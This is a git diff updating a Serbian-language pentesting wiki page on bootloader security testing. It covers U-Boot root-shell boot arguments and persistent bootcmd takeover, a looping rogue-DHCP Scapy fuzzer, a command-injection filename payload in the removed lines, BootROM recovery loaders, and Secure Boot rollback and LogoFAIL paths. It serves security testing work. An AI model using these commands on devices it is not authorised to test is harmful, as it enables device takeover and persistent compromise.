diff --git a/src/hardware-physical-access/firmware-analysis/bootloader-testing.md b/src/hardware-physical-access/firmware-analysis/bootloader-testing.md index a55e74258..0cf5a0915 100644 --- a/src/hardware-physical-access/firmware-analysis/bootloader-testing.md +++ b/src/hardware-physical-access/firmware-analysis/bootloader-testing.md @@ -1,52 +1,126 @@ +# Testiranje bootloader-a + {{#include ../../banners/hacktricks-training.md}} -Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootloader-a kao što je U-boot: +Sledeći koraci su preporučeni za modifikovanje konfiguracija pokretanja uređaja i testiranje bootloader-a kao što su U-Boot i UEFI-class loaderi. Fokusirajte se na postizanje rane izvršne faze koda, procenu zaštite potpisom/rollback i zloupotrebu recovery ili network-boot puteva. -1. **Pristup Bootloader-ovom Interpreter Shell-u**: +## U-Boot: brzi rezultati i zloupotreba okruženja -- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magične kodove" da biste pristupili bootloader-ovom interpreter shell-u. +1. Pristup interpreter shell-u +- Tokom boot-a pritisnite poznati break taster (često bilo koji taster, 0, space, ili board-specifičnu "magic" sekvencu) pre nego što `bootcmd` izvrši da biste ušli u U-Boot prompt. -2. **Modifikujte Boot Argumente**: +2. Inspekcija stanja boot-a i promenljivih +- Korisne komande: +- `printenv` (dump environment) +- `bdinfo` (board info, memory addresses) +- `help bootm; help booti; help bootz` (supported kernel boot methods) +- `help ext4load; help fatload; help tftpboot` (available loaders) -- Izvršite sledeće komande da dodate '`init=/bin/sh`' boot argumentima, omogućavajući izvršavanje shell komande: -%%% -#printenv -#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh -#saveenv -#boot -%%% +3. Modifikujte boot argumente da dobijete root shell +- Dodajte `init=/bin/sh` da kernel pređe u shell umesto normalnog init-a: +``` +# printenv +# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype= init=/bin/sh' +# saveenv +# boot # or: run bootcmd +``` -3. **Postavite TFTP Server**: +4. Netboot sa vašeg TFTP servera +- Konfigurišite mrežu i preuzmite kernel/fit image sa LAN-a: +``` +# setenv ipaddr 192.168.2.2 # device IP +# setenv serverip 192.168.2.1 # TFTP server IP +# saveenv; reset +# ping ${serverip} +# tftpboot ${loadaddr} zImage # kernel +# tftpboot ${fdt_addr_r} devicetree.dtb # DTB +# setenv bootargs "${bootargs} init=/bin/sh" +# booti ${loadaddr} - ${fdt_addr_r} +``` -- Konfigurišite TFTP server za učitavanje slika preko lokalne mreže: -%%% -#setenv ipaddr 192.168.2.2 #lokalna IP adresa uređaja -#setenv serverip 192.168.2.1 #IP adresa TFTP servera -#saveenv -#reset -#ping 192.168.2.1 #proverite pristup mreži -#tftp ${loadaddr} uImage-3.6.35 #loadaddr uzima adresu za učitavanje fajla i ime fajla na TFTP serveru -%%% +5. Persistiranje promena preko environment +- Ako skladište env nije write-protected, možete trajno preuzeti kontrolu: +``` +# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}' +# saveenv +``` +- Proverite promenljive kao što su `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` koje utiču na fallback puteve. Pogrešno konfigurisane vrednosti mogu omogućiti ponovne prekide u shell. -4. **Iskoristite `ubootwrite.py`**: +6. Proverite debug/unsafe opcije +- Tražite: `bootdelay` > 0, `autoboot` isključen, neograničeni `usb start; fatload usb 0:1 ...`, mogućnost `loady`/`loads` preko seriala, `env import` sa nepouzdane medije, i kerneli/ramdisk-i učitani bez provere potpisa. -- Koristite `ubootwrite.py` za pisanje U-boot slike i slanje modifikovanog firmvera za dobijanje root pristupa. +7. Testiranje U-Boot image/verifikacije +- Ako platforma tvrdi secure/verified boot sa FIT image-ima, pokušajte sa unsigned i izmenjenim image-ima: +``` +# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced +# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL +# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted +``` +- Odsustvo `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` ili legacy `verify=n` ponašanje često dozvoljava boot-ovanje proizvoljnih payload-a. -5. **Proverite Debug Funkcije**: +## Površina network-boot (DHCP/PXE) i rogue serveri -- Proverite da li su debug funkcije kao što su detaljno logovanje, učitavanje proizvoljnih kernela ili pokretanje sa nepouzdanih izvora omogućene. +8. Fuzzing PXE/DHCP parametara +- Legacy BOOTP/DHCP implementacija u U-Boot-u je imala probleme sa bezbednošću memorije. Na primer, CVE‑2024‑42040 opisuje otkrivanje memorije pomoću crafted DHCP odgovora koji mogu ispuštati bajtove iz U-Boot memorije nazad na mrežu. Testirajte DHCP/PXE kod puteve sa predugačkim/edge-case vrednostima (option 67 bootfile-name, vendor options, file/servername polja) i posmatrajte za zastajkivanja/lekove. +- Minimalan Scapy snippet za stresiranje boot parametara tokom netboot-a: +```python +from scapy.all import * +offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/ +IP(src='192.168.2.1', dst='255.255.255.255')/ +UDP(sport=67, dport=68)/ +BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/ +DHCP(options=[('message-type','offer'), +('server_id','192.168.2.1'), +# Intentionally oversized and strange values +('bootfile_name','A'*300), +('vendor_class_id','B'*240), +'end'])) +sendp(offer, iface='eth0', loop=1, inter=0.2) +``` +- Takođe proverite da li se PXE filename polja prosleđuju shell/loader logici bez sanitizacije kad su povezani sa OS-side provisioning skriptama. -6. **Opasna Hardverska Interferencija**: +9. Testiranje rogue DHCP servera za command injection +- Podignite rogue DHCP/PXE servis i pokušajte ubaciti karaktere u filename ili opcije da biste dosegli command interpretere u kasnijim fazama boot lanca. Metasploit-ov DHCP auxiliary, `dnsmasq`, ili custom Scapy skripte dobro rade. Obavezno izolujte lab mrežu prvo. -- Budite oprezni prilikom povezivanja jednog pina na masu i interakcije sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre nego što se kernel dekompresuje. Konsultujte tehnički list NAND flash čipa pre nego što kratko spojite pinove. +## SoC BootROM recovery režimi koji prepisuju normalan boot -7. **Konfigurišite Rogue DHCP Server**: -- Postavite rogue DHCP server sa zlonamernim parametrima za uređaj da ih prihvati tokom PXE pokretanja. Iskoristite alate kao što je Metasploit-ov (MSF) DHCP pomoćni server. Modifikujte 'FILENAME' parametar sa komandama za injekciju kao što su `'a";/bin/sh;#'` da biste testirali validaciju unosa za procedure pokretanja uređaja. +Mnogi SoC-ovi izlažu BootROM "loader" mod koji prihvata kod preko USB/UART čak i kada flash image-i nisu validni. Ako secure-boot fuses nisu spaljeni, ovo može obezbediti proizvoljno izvršenje koda veoma rano u lancu. -**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (\*označeni zvezdicama) treba da se pristupaju sa ekstremnim oprezom kako bi se izbeglo oštećenje uređaja. +- NXP i.MX (Serial Download Mode) +- Alati: `uuu` (mfgtools3) ili `imx-usb-loader`. +- Primer: `imx-usb-loader u-boot.imx` da ubacite i pokrenete custom U-Boot iz RAM-a. +- Allwinner (FEL) +- Tool: `sunxi-fel`. +- Primer: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` ili `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`. +- Rockchip (MaskROM) +- Tool: `rkdeveloptool`. +- Primer: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` za postavljanje loader-a i upload custom U-Boot-a. + +Procenite da li uređaj ima secure-boot eFuses/OTP spaljene. Ako nisu, BootROM download modovi često zaobilaze bilo koju višeg nivo verifikaciju (U-Boot, kernel, rootfs) izvršavajući vaš first-stage payload direktno iz SRAM/DRAM-a. + +## UEFI/PC-class bootloader-i: brze provere + +10. Manipulacija ESP i rollback testiranje +- Mount-ujte EFI System Partition (ESP) i proverite loader komponente: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, vendor logo path-ove. +- Pokušajte boot sa downgraded ili poznato ranjivim signed boot komponentama ako Secure Boot revocations (dbx) nisu ažurni. Ako platforma i dalje veruje starim shim-ovima/boot manager-ima, često možete učitati svoj kernel ili `grub.cfg` sa ESP-a da biste dobili persistenciju. + +11. Bugovi u parsiranju boot logo-a (LogoFAIL klasa) +- Nekoliko OEM/IBV firmvera je bilo ranjivo na image-parsing slabosti u DXE koje procesuiraju boot logo-e. Ako napadač može postaviti crafted image na ESP pod vendor-specifičnim putem (npr. `\EFI\\logo\*.bmp`) i reboot-ovati, izvršavanje koda tokom ranog boot-a može biti moguće čak i sa Secure Boot omogućenim. Testirajte da li platforma prihvata user-supplied logo-e i da li su ti path-ovi upisivi iz OS-a. + +## Hardverske opasnosti + +Budite oprezni prilikom interakcije sa SPI/NAND flash tokom ranog boot-a (npr. uzemljenje pinova da biste zaobišli čitanja) i uvek konsultujte datasheet flash memorije. Pogrešno tempirane kratke veze mogu korumpirati uređaj ili programmer. + +## Beleške i dodatni saveti + +- Pokušajte `env export -t ${loadaddr}` i `env import -t ${loadaddr}` za premještanje environment blob-ova između RAM-a i skladišta; neke platforme dozvoljavaju import env sa removable media bez autentifikacije. +- Za persistenciju na Linux-based sistemima koji boot-uju preko `extlinux.conf`, modifikovanje `APPEND` linije (da ubacite `init=/bin/sh` ili `rd.break`) na boot particiji je često dovoljno kada nema provere potpisa. +- Ako userland pruža `fw_printenv/fw_setenv`, proverite da `/etc/fw_env.config` odgovara stvarnom env skladištu. Pogrešno konfigurisani offset-i vam omogućavaju čitanje/pisanje pogrešne MTD regije. ## Reference - [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) +- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot) +- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040) {{#include ../../banners/hacktricks-training.md}}